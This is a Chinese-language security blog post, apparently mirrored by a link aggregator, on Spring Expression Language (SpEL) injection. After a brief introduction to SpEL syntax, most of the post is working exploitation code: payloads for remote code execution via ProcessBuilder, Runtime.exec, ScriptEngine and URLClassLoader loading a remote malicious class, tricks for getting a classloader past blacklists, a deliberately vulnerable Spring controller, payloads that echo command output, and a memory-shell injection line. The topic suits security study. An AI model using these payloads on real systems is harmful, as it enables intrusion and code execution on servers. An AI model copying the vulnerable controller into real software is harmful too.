4

SPEL表达式注入分析 - F12~

 5 months ago
source link: https://www.cnblogs.com/F12-blog/p/18104101
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.
neoserver,ios ssh client
 <dependencies>
    <dependency>
        <groupId>org.springframework</groupId>
        <artifactId>spring-expression</artifactId>
        <version>5.1.9.RELEASE</version>
    </dependency>
</dependencies>

SPEL表达式基础

SPEL简介

在Spring 3中引入了Spring表达式语言(Spring Expression Language,简称SpEL),这是一种功能强大的表达式语言,支持在运行时查询和操作对象图,可以与基于XML和基于注解的Spring配置还有bean定义一起使用。
在Spring系列产品中,SpEL是表达式计算的基础,实现了与Spring生态系统所有产品无缝对接。Spring框架的核心功能之一就是通过依赖注入的方式来管理Bean之间的依赖关系,而SpEL可以方便快捷的对ApplicationContext中的Bean进行属性的装配和提取。由于它能够在运行时动态分配值,因此可以为我们节省大量Java代码。
SpEL有许多特性:

  • 使用Bean的ID来引用Bean
  • 可调用方法和访问对象的属性
  • 可对值进行算数、关系和逻辑运算
  • 可使用正则表达式进行匹配
  • 可进行集合操作

定界符${}与#{}

这两个作用不太一样,${}是一个占位符,可以进行一些注入,但中间的内容不会被解析,#{}是SPEL特有的定界符,中间的内容会被解析

类型表达式T()

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "T(java.lang.String)";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

// 输出
class java.lang.String

T中的内容会被解析成类,如上所示,这样我们也能解析java.lang.Runtime

SPEL常见的表达式

一些比较常见的表达式

运算符类型 运算符
算数运算 +, -, *, /, %, ^
关系运算 <, >, ==, <=, >=, lt, gt, eq, le, ge
逻辑运算 and, or, not, !
条件运算 ?:(ternary), ?:(Elvis)
正则表达式 matches
运算符 符号 文本类型
等于 == eq
小于 < lt
小于等于 <= le
大于 > gt
大于等于 >= ge

变量定义和引用

在SPEL表达式中,变量定义通过EvaluationContext类的setVariable(variableName, value)函数来实现;在表达式中使用#variableName来引用;除了引用自定义变量,SPEL还允许引用根对象及当前上下文对象:

  • this:使用当前正在计算的上下文;

  • root:引用容器的root对象;

  • @something:引用Bean

RCE直接利用

常见有三种办法

ProcessBuilder

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "new java.lang.ProcessBuilder(new String[]{'calc'}).start()";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

Runtime

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "T(java.lang.Runtime).getRuntime().exec('calc')";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

ScriptEngine

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName(\"nashorn\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
        // 或者
        String cmdstr = "new javax.script.ScriptEngineManager().getEngineByName(\"javascript\").eval(\"s=[1];s[0]='calc';java.lang.Runtime.getRuntime().exec(s);\")";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

注意这里调用的js的引擎,支持js语法,所以利用方式非常的灵活,绕过黑名单啥的也是一把好手

类加载RCE

URLClassLoader

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evilref\").getConstructors()[0].newInstance()";
        String cmdstr = "new java.net.URLClassLoader(new java.net.URL[]{new java.net.URL('http://127.0.0.1:8888/')}).loadClass(\"evilref\").newInstance()";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

恶意类evilref用来弹计算器,自己写一个就行

AppClassLoader

package org.example;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;

public class Main {
    public static void main(String[] args) {
        String cmdstr = "T(java.lang.ClassLoader).getSystemClassLoader().loadClass('java.lang.Runtime').getRuntime().exec('calc')";
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(cmdstr);
        System.out.println(exp.getValue());
    }
}

假如ban掉了一些关键字,我们该如何获取classloader

T(org.springframework.expression.Expression).getClass().getClassLoader()

#thymeleaf 情况下
T(org.thymeleaf.context.AbstractEngineContext).getClass().getClassLoader()

#web服务下通过内置对象
{request.getClass().getClassLoader().loadClass(\"java.lang.Runtime\").getMethod(\"getRuntime\").invoke(null).exec(\"touch/tmp/foobar\")}

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

#BCEL
T(com.sun.org.apache.bcel.internal.util.JavaWrapper)._main({"BCEL"})

先搭建一个spring服务,写个controller

package com.example.demo.controller;

import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class spelcontroller {
    @RequestMapping("/spel")
    @ResponseBody
    public String spelvul(String payload){
        ExpressionParser parser = new SpelExpressionParser();
        Expression exp = parser.parseExpression(payload);
        return (String) exp.getValue();
    }

}

nmmd,我为什么回显不了,sb springboot,直接给payload吧

BufferedReader

new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine()

Scanner

new java.util.Scanner(new java.lang.ProcessBuilder("cmd", "/c", "dir", ".\\").start().getInputStream(), "GBK").useDelimiter("asdasdasdasd").next()
这里的Delimiter是分隔符的意思,我们执行了dir指令,假如想让回显全部显示在一行。那么我们给一点乱七八糟的东西即可

ResponseHeader

由于springboot没有response,所以自己注册一个

package com.example.demo.controller;

import jakarta.servlet.http.HttpServletRequest;
import jakarta.servlet.http.HttpServletResponse;
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.SpelParserConfiguration;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.expression.spel.support.StandardEvaluationContext;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.ResponseBody;

@Controller
public class spelcontroller {
    @RequestMapping("/spel")
    @ResponseBody
    public String spelvul(String payload, HttpServletResponse response){
        StandardEvaluationContext context=new StandardEvaluationContext();
        context.setVariable("response",response);
        ExpressionParser parser = new SpelExpressionParser(new SpelParserConfiguration());
        Expression exp = parser.parseExpression(payload);
        return (String) exp.getValue();
    }
}

#response.addHeader('x-cmd',new java.io.BufferedReader(new java.io.InputStreamReader(new ProcessBuilder("cmd", "/c", "whoami").start().getInputStream(), "gbk")).readLine())
然后就会返回一个x-cmd请求头带着我们的命令回显

注入内存马

不需要response,直接注内存马来搞回显
T(org.springframework.cglib.core.ReflectUtils).defineClass('InceptorMemShell',T(org.springframework.util.Base64Utils).decodeFromString('????????'),T(java.lang.Thread).currentThread().getContextClassLoader()).newInstance()

__EOF__


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK